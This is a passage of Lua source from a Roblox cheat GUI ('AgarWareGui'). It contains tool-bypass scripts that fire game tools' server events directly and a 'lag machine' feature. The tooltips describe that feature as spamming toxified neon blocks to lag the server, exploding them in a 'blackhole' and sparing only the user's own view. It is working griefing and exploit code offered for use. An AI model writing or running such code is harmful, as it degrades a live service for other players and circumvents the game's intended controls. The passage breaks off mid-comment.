BypassGroup.Parent:FindFirstChild("BkitGroup") local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled") local isEnabled = false local mouseConn = nil local backpackConn = nil local charConn = nil local lastClickTime = 0 local clickCount = 0 local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no digging local NORMAL_TEXT = "Shovel" local NOT_FOUND_TEXT = "Tool not found" local function updateVisual() if isEnabled then ShovelBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3 else ShovelBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end updateVisual() local mouse = LocalPlayer:GetMouse() local function disable() if mouseConn then mouseConn:Disconnect(); mouseConn = nil end if backpackConn then backpackConn:Disconnect(); backpackConn = nil end if charConn then charConn:Disconnect(); charConn = nil end local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel") if shovelUI then shovelUI.Enabled = false end print("[ShovelBypass] OFF") end local function hasShovelTool() return LocalPlayer.Backpack:FindFirstChild("Shovel") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shovel")) end -- INSTANT re-equip and unequip function (keeps UI visible) local function refreshShovelTool() local shovelTool = hasShovelTool() if not shovelTool then print("[ShovelBypass] Shovel tool not found, cannot refresh") return false end local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel") if not shovelUI then print("[ShovelBypass] Shovel UI not found, cannot refresh") return false end -- Store currently equipped tool to re-equip it after local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool") -- Move to backpack if it's in character if shovelTool.Parent == LocalPlayer.Character then shovelTool.Parent = LocalPlayer.Backpack task.wait() end -- Equip shovel tool instantly if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(shovelTool) -- Use RenderStepped to unequip on the very next frame (invisible to player) game:GetService("RunService").RenderStepped:Wait() -- Enable UI BEFORE unequipping shovelUI.Enabled = true -- Unequip immediately if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:UnequipTools() end -- Wait a tiny bit and force UI to stay enabled task.wait(0.05) shovelUI.Enabled = true -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(previousTool) end end print("[ShovelBypass] Tool refreshed (invisible, UI kept)") return true end return false end local function enable() local shovelUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel") if not shovelUI then print("[ShovelBypass] Shovel UI not found") isEnabled = false updateVisual() return end local shovelTool = hasShovelTool() if not shovelTool then print("[ShovelBypass] Shovel tool not found in backpack or character") isEnabled = false updateVisual() return end local shovelEvent = shovelTool:FindFirstChild("Script") and shovelTool.Script:FindFirstChild("Event") if not shovelEvent then print("[ShovelBypass] Shovel event not found") isEnabled = false updateVisual() return end -- Initial refresh (instant and invisible) refreshShovelTool() if mouseConn then mouseConn:Disconnect() end mouseConn = mouse.Button1Down:Connect(function() if not isEnabled then return end local target = mouse.Target if target then local currentTime = tick() -- Track clicks to detect if digging is not working if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds clickCount = clickCount + 1 else clickCount = 1 end lastClickTime = currentTime -- If we've clicked rapidly many times, assume the tool needs refresh if clickCount >= AUTO_REFRESH_THRESHOLD then print("[ShovelBypass] Auto-refresh triggered (tool may have stopped working)") refreshShovelTool() clickCount = 0 -- Reset counter end -- Check if Range Bypass is enabled local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value local inRange = true if inRange then -- Re-find the shovel tool and event in case it changed local currentShovelTool = hasShovelTool() if currentShovelTool then local currentEvent = currentShovelTool:FindFirstChild("Script") and currentShovelTool.Script:FindFirstChild("Event") local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Shovel") if currentEvent and currentUI then currentEvent:FireServer( target, mouse.TargetSurface, mouse.Hit.Position, currentUI.Button.Text ) else print("[ShovelBypass] Event or UI lost, refreshing...") refreshShovelTool() end end end end end) -- Watch backpack for shovel tool removal if backpackConn then backpackConn:Disconnect() end backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child) if child.Name == "Shovel" then task.wait(0.2) if not hasShovelTool() then print("[ShovelBypass] Shovel tool removed, auto disabled") isEnabled = false updateVisual() disable() end end end) -- Watch character for shovel tool removal if charConn then charConn:Disconnect() end if LocalPlayer.Character then charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child) if child.Name == "Shovel" then task.wait(0.2) if not hasShovelTool() then print("[ShovelBypass] Shovel tool removed from character, auto disabled") isEnabled = false updateVisual() disable() end end end) end print("[ShovelBypass] ON") end -------------------------------------------------- -- TOGGLE -------------------------------------------------- ShovelBypassTickBox.MouseButton1Down:Connect(function() -- Check if tool exists when clicking if not hasShovelTool() then ShovelBypassText.Text = NOT_FOUND_TEXT end end) ShovelBypassTickBox.MouseButton1Up:Connect(function() -- Reset text when releasing ShovelBypassText.Text = NORMAL_TEXT end) ShovelBypassTickBox.MouseButton1Click:Connect(function() -- Only toggle if tool exists if not hasShovelTool() then print("[ShovelBypass] Cannot enable - Shovel tool not found") return end isEnabled = not isEnabled updateVisual() if isEnabled then enable() else disable() end end) -------------------------------------------------- -- CLEANUP -------------------------------------------------- script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() end end) end; task.spawn(C_19c); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.SignBypassRow.SignBypassScript local function C_1a0() local script = G2L["1a0"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local SignBypassRow = script.Parent local BypassGroup = SignBypassRow.Parent local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor") local SignBypassTickBox = SignBypassRow:WaitForChild("SignBypassTickBox") local SignBypassText = SignBypassRow:WaitForChild("SignBypassText") -- Find the Range Bypass value local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup") local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled") local isEnabled = false local mouseConn = nil local backpackConn = nil local charConn = nil local lastClickTime = 0 local clickCount = 0 local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no sign placement local NORMAL_TEXT = "Sign" local NOT_FOUND_TEXT = "Tool not found" local function updateVisual() if isEnabled then SignBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3 else SignBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end updateVisual() local mouse = LocalPlayer:GetMouse() local function disable() if mouseConn then mouseConn:Disconnect(); mouseConn = nil end if backpackConn then backpackConn:Disconnect(); backpackConn = nil end if charConn then charConn:Disconnect(); charConn = nil end print("[SignBypass] OFF") end local function hasSignTool() return LocalPlayer.Backpack:FindFirstChild("Sign") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Sign")) end -- INSTANT re-equip and unequip function (no UI for Sign tool) local function refreshSignTool() local signTool = hasSignTool() if not signTool then print("[SignBypass] Sign tool not found, cannot refresh") return false end -- Store currently equipped tool to re-equip it after local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool") -- Move to backpack if it's in character if signTool.Parent == LocalPlayer.Character then signTool.Parent = LocalPlayer.Backpack task.wait() end -- Equip sign tool instantly if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(signTool) -- Use RenderStepped to unequip on the very next frame (invisible to player) game:GetService("RunService").RenderStepped:Wait() -- Unequip immediately if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:UnequipTools() end -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then task.wait() if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(previousTool) end end print("[SignBypass] Tool refreshed (invisible)") return true end return false end local function enable() local signTool = hasSignTool() if not signTool then print("[SignBypass] Sign tool not found in backpack or character") isEnabled = false updateVisual() return end local signEvent = signTool:FindFirstChild("Script") and signTool.Script:FindFirstChild("Event") if not signEvent then print("[SignBypass] Sign event not found") isEnabled = false updateVisual() return end -- Initial refresh (instant and invisible) refreshSignTool() if mouseConn then mouseConn:Disconnect() end mouseConn = mouse.Button1Down:Connect(function() if not isEnabled then return end local target = mouse.Target if target then local currentTime = tick() -- Track clicks to detect if sign placement is not working if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds clickCount = clickCount + 1 else clickCount = 1 end lastClickTime = currentTime -- If we've clicked rapidly many times, assume the tool needs refresh if clickCount >= AUTO_REFRESH_THRESHOLD then print("[SignBypass] Auto-refresh triggered (tool may have stopped working)") refreshSignTool() clickCount = 0 -- Reset counter end -- Check if Range Bypass is enabled local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value local inRange = true if inRange then -- Re-find the sign tool and event in case it changed local currentSignTool = hasSignTool() if currentSignTool then local currentEvent = currentSignTool:FindFirstChild("Script") and currentSignTool.Script:FindFirstChild("Event") if currentEvent then currentEvent:FireServer( target, mouse.TargetSurface, mouse.Hit.Position ) else print("[SignBypass] Event lost, refreshing...") refreshSignTool() end end end end end) -- Watch backpack for sign tool removal if backpackConn then backpackConn:Disconnect() end backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child) if child.Name == "Sign" then task.wait(0.2) if not hasSignTool() then print("[SignBypass] Sign tool removed, auto disabled") isEnabled = false updateVisual() disable() end end end) -- Watch character for sign tool removal if charConn then charConn:Disconnect() end if LocalPlayer.Character then charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child) if child.Name == "Sign" then task.wait(0.2) if not hasSignTool() then print("[SignBypass] Sign tool removed from character, auto disabled") isEnabled = false updateVisual() disable() end end end) end print("[SignBypass] ON") end -------------------------------------------------- -- TOGGLE -------------------------------------------------- SignBypassTickBox.MouseButton1Down:Connect(function() -- Check if tool exists when clicking if not hasSignTool() then SignBypassText.Text = NOT_FOUND_TEXT end end) SignBypassTickBox.MouseButton1Up:Connect(function() -- Reset text when releasing SignBypassText.Text = NORMAL_TEXT end) SignBypassTickBox.MouseButton1Click:Connect(function() -- Only toggle if tool exists if not hasSignTool() then print("[SignBypass] Cannot enable - Sign tool not found") return end isEnabled = not isEnabled updateVisual() if isEnabled then enable() else disable() end end) -------------------------------------------------- -- CLEANUP -------------------------------------------------- script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() end end) end; task.spawn(C_1a0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.BypassGroup.BuildBypassRow.BuildBypassScript local function C_1a4() local script = G2L["1a4"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local BuildBypassRow = script.Parent local BypassGroup = BuildBypassRow.Parent local BypassAccentColor = BypassGroup:WaitForChild("BypassAccentColor") local BuildBypassTickBox = BuildBypassRow:WaitForChild("BuildBypassTickBox") local BuildBypassText = BuildBypassRow:WaitForChild("BuildBypassText") -- Find the Range Bypass value local BkitGroup = BypassGroup.Parent:FindFirstChild("BkitGroup") local RangeBypassEnabled = BkitGroup and BkitGroup:FindFirstChild("RangeBypassEnabled") local isEnabled = false local mouseConn = nil local backpackConn = nil local charConn = nil local lastClickTime = 0 local clickCount = 0 local AUTO_REFRESH_THRESHOLD = 5 -- Refresh after 5 rapid clicks with no building local NORMAL_TEXT = "Build" local NOT_FOUND_TEXT = "Tool not found" local function updateVisual() if isEnabled then BuildBypassTickBox.BackgroundColor3 = BypassAccentColor.BackgroundColor3 else BuildBypassTickBox.BackgroundColor3 = Color3.fromRGB(0, 0, 0) end end updateVisual() local mouse = LocalPlayer:GetMouse() local function disable() if mouseConn then mouseConn:Disconnect(); mouseConn = nil end if backpackConn then backpackConn:Disconnect(); backpackConn = nil end if charConn then charConn:Disconnect(); charConn = nil end local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build") if buildUI then buildUI.Enabled = false end print("[BuildBypass] OFF") end local function hasBuildTool() return LocalPlayer.Backpack:FindFirstChild("Build") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build")) end -- INSTANT re-equip and unequip function (keeps UI visible) local function refreshBuildTool() local buildTool = hasBuildTool() if not buildTool then print("[BuildBypass] Build tool not found, cannot refresh") return false end local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build") if not buildUI then print("[BuildBypass] Build UI not found, cannot refresh") return false end -- Store currently equipped tool to re-equip it after local previousTool = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool") -- Move to backpack if it's in character if buildTool.Parent == LocalPlayer.Character then buildTool.Parent = LocalPlayer.Backpack task.wait() end -- Equip build tool instantly if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(buildTool) -- Use RenderStepped to unequip on the very next frame (invisible to player) game:GetService("RunService").RenderStepped:Wait() -- Enable UI BEFORE unequipping buildUI.Enabled = true -- Unequip immediately if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:UnequipTools() end -- Wait a tiny bit and force UI to stay enabled task.wait(0.05) buildUI.Enabled = true -- Re-equip previous tool if there was one if previousTool and previousTool.Parent == LocalPlayer.Backpack then if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(previousTool) end end print("[BuildBypass] Tool refreshed (invisible, UI kept)") return true end return false end local function enable() local buildUI = LocalPlayer.PlayerGui:FindFirstChild("Build") if not buildUI then print("[BuildBypass] Build UI not found") isEnabled = false updateVisual() return end local buildTool = hasBuildTool() if not buildTool then print("[BuildBypass] Build tool not found in backpack or character") isEnabled = false updateVisual() return end local buildEvent = buildTool:FindFirstChild("Script") and buildTool.Script:FindFirstChild("Event") if not buildEvent then print("[BuildBypass] Build event not found") isEnabled = false updateVisual() return end -- Initial refresh (instant and invisible) refreshBuildTool() if mouseConn then mouseConn:Disconnect() end mouseConn = mouse.Button1Down:Connect(function() if not isEnabled then return end local target = mouse.Target if target then local currentTime = tick() -- Track clicks to detect if building is not working if currentTime - lastClickTime < 0.5 then -- Clicks within 0.5 seconds clickCount = clickCount + 1 else clickCount = 1 end lastClickTime = currentTime -- If we've clicked rapidly many times, assume the tool needs refresh if clickCount >= AUTO_REFRESH_THRESHOLD then print("[BuildBypass] Auto-refresh triggered (tool may have stopped working)") refreshBuildTool() clickCount = 0 -- Reset counter end -- Check if Range Bypass is enabled local useInfiniteRange = RangeBypassEnabled and RangeBypassEnabled.Value local inRange = true if inRange then -- Re-find the build tool and event in case it changed local currentBuildTool = hasBuildTool() if currentBuildTool then local currentEvent = currentBuildTool:FindFirstChild("Script") and currentBuildTool.Script:FindFirstChild("Event") local currentUI = LocalPlayer.PlayerGui:FindFirstChild("Build") if currentEvent and currentUI then currentEvent:FireServer( target, mouse.TargetSurface, mouse.Hit.Position, currentUI.Button.Text ) else print("[BuildBypass] Event or UI lost, refreshing...") refreshBuildTool() end end end end end) -- Watch backpack for build tool removal if backpackConn then backpackConn:Disconnect() end backpackConn = LocalPlayer.Backpack.ChildRemoved:Connect(function(child) if child.Name == "Build" then task.wait(0.2) if not hasBuildTool() then print("[BuildBypass] Build tool removed, auto disabled") isEnabled = false updateVisual() disable() end end end) -- Watch character for build tool removal if charConn then charConn:Disconnect() end if LocalPlayer.Character then charConn = LocalPlayer.Character.ChildRemoved:Connect(function(child) if child.Name == "Build" then task.wait(0.2) if not hasBuildTool() then print("[BuildBypass] Build tool removed from character, auto disabled") isEnabled = false updateVisual() disable() end end end) end print("[BuildBypass] ON") end -------------------------------------------------- -- TOGGLE -------------------------------------------------- BuildBypassTickBox.MouseButton1Down:Connect(function() -- Check if tool exists when clicking if not hasBuildTool() then BuildBypassText.Text = NOT_FOUND_TEXT end end) BuildBypassTickBox.MouseButton1Up:Connect(function() -- Reset text when releasing BuildBypassText.Text = NORMAL_TEXT end) BuildBypassTickBox.MouseButton1Click:Connect(function() -- Only toggle if tool exists if not hasBuildTool() then print("[BuildBypass] Cannot enable - Build tool not found") return end isEnabled = not isEnabled updateVisual() if isEnabled then enable() else disable() end end) -------------------------------------------------- -- CLEANUP -------------------------------------------------- script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then disable() end end) end; task.spawn(C_1a4); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagScript local function C_1a8() local script = G2L["1a8"]; -- LagMinimizeScript (inside LagGroup) local LagGroup = script.Parent local LagMinimize = LagGroup.LagTitle.LagMinimize local function getRows() local rows = {} for _, child in ipairs(LagGroup:GetChildren()) do if child:IsA("Frame") and string.find(child.Name, "Row") then table.insert(rows, child) end end return rows end local isMinimized = false local originalSize = LagGroup.Size local minimizedSize = UDim2.new(0, 170, 0, 20) LagMinimize.MouseButton1Click:Connect(function() isMinimized = not isMinimized local rows = getRows() if isMinimized then LagGroup.Size = minimizedSize for _, row in ipairs(rows) do row.Visible = false end LagMinimize.Text = "+" else LagGroup.Size = originalSize for _, row in ipairs(rows) do row.Visible = true end LagMinimize.Text = "-" end end) end; task.spawn(C_1a8); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.LagToolTip local function C_1a9() local script = G2L["1a9"]; -- ============================================================ -- LAG GROUP TOOLTIP SCRIPT -- Tooltips for LagGroup features -- ============================================================ local LagGroup = script.Parent -- ============================================================ -- SCREENGUI HELPER -- ============================================================ local function getScreenGui() local p = script.Parent while p do if p:IsA("ScreenGui") then return p end p = p.Parent end end local ScreenGui = getScreenGui() if not ScreenGui then return end -- ============================================================ -- FIND ELEMENTS IN LAGGROUP -- ============================================================ local function findDescendant(name) for _, v in pairs(LagGroup:GetDescendants()) do if v.Name == name then return v end end end local BlockSizeHelp = findDescendant("BlockSizeHelp") local SpamSelectHelp = findDescendant("SpamSelectHelp") local LagHelp = findDescendant("LagHelp") local ReduceLagTickBox = findDescendant("ReduceLagTickBox") local BlackholeLagTickBox = findDescendant("BlackholeLagTickBox") local OrbitBlackholeTickBox = findDescendant("OrbitBlackholeTickBox") -- ============================================================ -- TOOLTIP BUILDER -- ============================================================ local function makeTooltip(text) local frame = Instance.new("Frame") frame.BackgroundColor3 = Color3.fromRGB(16,16,16) frame.BorderSizePixel = 0 frame.ZIndex = 100 frame.AutomaticSize = Enum.AutomaticSize.Y frame.Size = UDim2.new(0, 212, 0, 0) frame.Visible = false frame.Parent = ScreenGui local stroke = Instance.new("UIStroke") stroke.Color = Color3.fromRGB(57,57,57) stroke.Parent = frame local padding = Instance.new("UIPadding") padding.PaddingTop = UDim.new(0,6) padding.PaddingBottom = UDim.new(0,6) padding.PaddingLeft = UDim.new(0,6) padding.PaddingRight = UDim.new(0,6) padding.Parent = frame local label = Instance.new("TextLabel") label.BackgroundTransparency = 1 label.Text = text label.TextColor3 = Color3.new(1,1,1) label.TextSize = 14 label.TextXAlignment = Enum.TextXAlignment.Left label.TextYAlignment = Enum.TextYAlignment.Top label.Font = Enum.Font.GothamSemibold label.TextWrapped = true label.Size = UDim2.new(0,200,0,0) label.AutomaticSize = Enum.AutomaticSize.Y label.ZIndex = 101 label.Parent = frame return frame end local function hookTooltip(button, tooltipFrame) if not button then return end button.MouseEnter:Connect(function() local abs = button.AbsolutePosition local size = button.AbsoluteSize tooltipFrame.Position = UDim2.new(0, abs.X + size.X + 10, 0, abs.Y) tooltipFrame.Visible = true end) button.MouseLeave:Connect(function() tooltipFrame.Visible = false end) end -- ============================================================ -- CREATE TOOLTIPS -- ============================================================ local blockSizeTooltip = makeTooltip("Changes the size of the blocks the lag machine uses. (Recommended: 1, Max size: 6)") local spamSelectTooltip = makeTooltip("How to Use:\nPress Select Block and click on a block you want the lag machine to start. Then press Start Spam and it would auto paint and shape and begin to start placing blocks.\n\nBuild mode must be set to normal, not detailed. You can change how big the blocks are set to in Block Size.") local lagHelpTooltip = makeTooltip("Allows you to make a lag machine automatically using toxified blocks without having to stand near it.\nThe block you selected hovers over your head. (No one can see it, don't worry)") local reduceLagTooltip = makeTooltip("Disables visual effects on your own lag machine to reduce lag just for you. Other players still see the full effects.") local blackholeTooltip = makeTooltip("Brings all lag blocks into one place to create a small blackhole. Toggling it off will create a massive explosion of blocks.") local orbitTooltip = makeTooltip("Makes the blackhole orbit around you in a 15 stud radius. Adjust speed in the blue box next to it. (default = 10)") -- ============================================================ -- HOOK THEM -- ============================================================ hookTooltip(BlockSizeHelp, blockSizeTooltip) hookTooltip(SpamSelectHelp, spamSelectTooltip) hookTooltip(LagHelp, lagHelpTooltip) hookTooltip(ReduceLagTickBox, reduceLagTooltip) hookTooltip(BlackholeLagTickBox, blackholeTooltip) hookTooltip(OrbitBlackholeTickBox, orbitTooltip) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then if blockSizeTooltip then blockSizeTooltip:Destroy() end if spamSelectTooltip then spamSelectTooltip:Destroy() end if lagHelpTooltip then lagHelpTooltip:Destroy() end if reduceLagTooltip then reduceLagTooltip:Destroy() end if blackholeTooltip then blackholeTooltip:Destroy() end if orbitTooltip then orbitTooltip:Destroy() end end end) end; task.spawn(C_1a9); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.SpamSelectRow.SpamSelectScript local function C_1b0() local script = G2L["1b0"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local RunService = game:GetService("RunService") local SpamSelectRow = script.Parent local LagGroup = SpamSelectRow.Parent local LagAccentColor = LagGroup:WaitForChild("LagAccentColor") local SpamSelectButton = SpamSelectRow:WaitForChild("SpamSelectButton") -- Shared state for other scripts to access local SelectedBlockValue = LagGroup:FindFirstChild("SelectedBlock") or Instance.new("ObjectValue") SelectedBlockValue.Name = "SelectedBlock" SelectedBlockValue.Parent = LagGroup SelectedBlockValue.Value = nil -- States local isSelectingBlock = false local currentHighlight = nil local mouseConn = nil -- Text states local TEXT_DEFAULT = "Select Block" local TEXT_SELECTING = "Select a block..." local TEXT_SELECTED = "Block Selected" -- Initialize button text SpamSelectButton.Text = TEXT_DEFAULT -- ============================================================ -- CLEANUP HIGHLIGHT -- ============================================================ local function removeHighlight() if currentHighlight then currentHighlight:Destroy() currentHighlight = nil end end -- ============================================================ -- CREATE HIGHLIGHT ON SELECTED BLOCK -- ============================================================ local function highlightBlock(block) removeHighlight() if not block or not block:IsA("BasePart") then return end -- Create highlight local highlight = Instance.new("Highlight") highlight.Adornee = block highlight.FillColor = Color3.fromRGB(255, 255, 0) -- Yellow highlight.OutlineColor = Color3.fromRGB(255, 200, 0) highlight.FillTransparency = 0.5 highlight.OutlineTransparency = 0 highlight.Parent = block currentHighlight = highlight end -- ============================================================ -- SELECT BLOCK -- ============================================================ local function selectBlock(block) if not block or not block:IsA("BasePart") or block.Name ~= "Brick" then return false end -- Check if it's in Workspace.Bricks.[Username] local parent = block.Parent if not parent or parent.Parent ~= workspace:FindFirstChild("Bricks") then return false end -- Set the selected block SelectedBlockValue.Value = block highlightBlock(block) -- Stop selecting mode isSelectingBlock = false SpamSelectButton.Text = TEXT_SELECTED print("[SelectBlock] Block selected:", block:GetFullName()) return true end -- ============================================================ -- UNSELECT BLOCK -- ============================================================ local function unselectBlock() SelectedBlockValue.Value = nil removeHighlight() isSelectingBlock = false SpamSelectButton.Text = TEXT_DEFAULT print("[SelectBlock] Block unselected") end -- ============================================================ -- START SELECTING MODE -- ============================================================ local function startSelecting() isSelectingBlock = true SpamSelectButton.Text = TEXT_SELECTING -- Disconnect any existing mouse connection if mouseConn then mouseConn:Disconnect() mouseConn = nil end -- Set up mouse click detection local mouse = LocalPlayer:GetMouse() mouseConn = mouse.Button1Down:Connect(function() if not isSelectingBlock then return end local target = mouse.Target if target then -- If clicking the currently selected block, unselect it if SelectedBlockValue.Value == target then unselectBlock() else -- Try to select the new block if selectBlock(target) then -- Disconnect after successful selection if mouseConn then mouseConn:Disconnect() mouseConn = nil end end end end end) print("[SelectBlock] Selecting mode started - click a brick to select") end -- ============================================================ -- STOP SELECTING MODE (CANCEL) -- ============================================================ local function stopSelecting() isSelectingBlock = false if mouseConn then mouseConn:Disconnect() mouseConn = nil end -- Update text based on whether a block is selected if SelectedBlockValue.Value then SpamSelectButton.Text = TEXT_SELECTED else SpamSelectButton.Text = TEXT_DEFAULT end print("[SelectBlock] Selecting mode cancelled") end -- ============================================================ -- BUTTON CLICK HANDLER -- ============================================================ SpamSelectButton.MouseButton1Click:Connect(function() -- State machine based on current state if isSelectingBlock then -- Currently selecting -> Cancel selection mode stopSelecting() elseif SelectedBlockValue.Value then -- Block is selected -> Start selecting again (allows re-selection) startSelecting() else -- No block selected, not selecting -> Start selecting startSelecting() end end) -- ============================================================ -- WATCH FOR SELECTED BLOCK DELETION -- ============================================================ SelectedBlockValue:GetPropertyChangedSignal("Value"):Connect(function() local selectedBlock = SelectedBlockValue.Value if selectedBlock then -- Watch for block deletion local ancestryConn ancestryConn = selectedBlock.AncestryChanged:Connect(function() if not selectedBlock:IsDescendantOf(workspace) then -- Block was deleted unselectBlock() if ancestryConn then ancestryConn:Disconnect() end end end) end end) -- ============================================================ -- CLEANUP -- ============================================================ script.AncestryChanged:Connect(function() if not script:IsDescendantOf(game) then if mouseConn then mouseConn:Disconnect() end removeHighlight() print("[SelectBlock] Cleaned up") end end) end; task.spawn(C_1b0); -- StarterGui.AgarWareGui.MainFrame.ContentArea.TCOTrollPage.TCOTrollLeftSide.LagGroup.BlockSpamRow.BlockSpamScript local function C_1b4() local script = G2L["1b4"]; local Players = game:GetService("Players") local LocalPlayer = Players.LocalPlayer local RunService = game:GetService("RunService") local BlockSpamRow = script.Parent local LagGroup = BlockSpamRow.Parent local LagAccentColor = LagGroup:WaitForChild("LagAccentColor") local BlockSpamButton = BlockSpamRow:WaitForChild("BlockSpamButton") local SelectedBlockValue = LagGroup:WaitForChild("SelectedBlock") -- State local isProcessing = false local isSpamming = false local spamLoop = nil local currentWeld = nil local weldedBlock = nil local positionBeforeStop = nil local blockOriginalPosition = nil -- Text states local TEXT_START = "Start Spam" local TEXT_STOP = "Stop Spam" local TEXT_NO_BLOCK = "No Block Selected" local TEXT_PROCESSING = "Processing..." -- Target properties local TARGET_BRICKCOLOR = BrickColor.new("Really black") local TARGET_MATERIAL = Enum.Material.Neon -- ============================================================ -- TOOL HELPERS -- ============================================================ local function getShapeTool() return LocalPlayer.Backpack:FindFirstChild("Shape") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Shape")) end local function getShapeEvent() local tool = getShapeTool() if tool then return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") end return nil end local function getBuildTool() return LocalPlayer.Backpack:FindFirstChild("Build") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Build")) end local function getBuildEvent() local tool = getBuildTool() if tool then return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") end return nil end local function getBuildUI() return LocalPlayer.PlayerGui:FindFirstChild("Build") end local function getPaintTool() return LocalPlayer.Backpack:FindFirstChild("Paint") or (LocalPlayer.Character and LocalPlayer.Character:FindFirstChild("Paint")) end local function getPaintEvent() local tool = getPaintTool() if tool then return tool:FindFirstChild("Script") and tool.Script:FindFirstChild("Event") end return nil end local function getPaintUI() return LocalPlayer.PlayerGui:FindFirstChild("Paint") end local function refreshBuildTool() local tool = getBuildTool() if not tool then return false end local buildUI = getBuildUI() if not buildUI then return false end local currentlyEquipped = LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Tool") if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:UnequipTools() task.wait(0.03) end if LocalPlayer.Character and LocalPlayer.Character:FindFirstChildOfClass("Humanoid") then LocalPlayer.Character.Humanoid:EquipTool(tool) RunService.RenderStepped:Wait() buildUI.Enabled = true LocalPlayer.Character.Humanoid:UnequipTools() task.wait(0.05) buildUI.Enabled = true if currentlyEquipped and currentlyEquipped.Parent == LocalPlayer.Backpack then LocalPlayer.Character.Humanoid:EquipTool(currentlyEquipped) end return true end return false end -- ============================================================ -- VALIDATE -- ============================================================ local function isValidBlockSize(block) local size = block.Size if size.X % 1 ~= 0 or size.Y % 1 ~= 0 or size.Z % 1 ~= 0 then return false end return true end -- ============================================================ -- STEP 1: REMOVE ALL SPRAYS -- ============================================================ local function removeAllSprays(block) local paintEvent = getPaintEvent() if not paintEvent then return false end local sides = { {Enum.NormalId.Front, block.Position + (block.CFrame.LookVector * block.Size.Z/2)}, {Enum.NormalId.Right, block.Position + (block.CFrame.RightVector * block.Size.X/2)}, {Enum.NormalId.Back, block.Position - (block.CFrame.LookVector * block.Size.Z/2)}, {Enum.NormalId.Left, block.Position - (block.CFrame.RightVector * block.Size.X/2)}, {Enum.NormalId.Top, block.Position + (block.CFrame.UpVector * block.Size.Y/2)}, {Enum.NormalId.Bottom, block.Position - (block.CFrame.UpVector * block.Size.Y/2)} } -- Fire 5 times on each side then move on for i = 1, 5 do if not isSpamming then return false end for _, sideData in ipairs(sides) do if not isSpamming then return false end pcall(function() paintEvent:FireServer(block, sideData[1], sideData[2], "both 🤝", Color3.fromRGB(2, 2, 1), "spray", "") end) task.wait(0.02) end end return true end -- ============================================================ -- STEP 2: PAINT + TOXIFY (IF NEEDED) -- 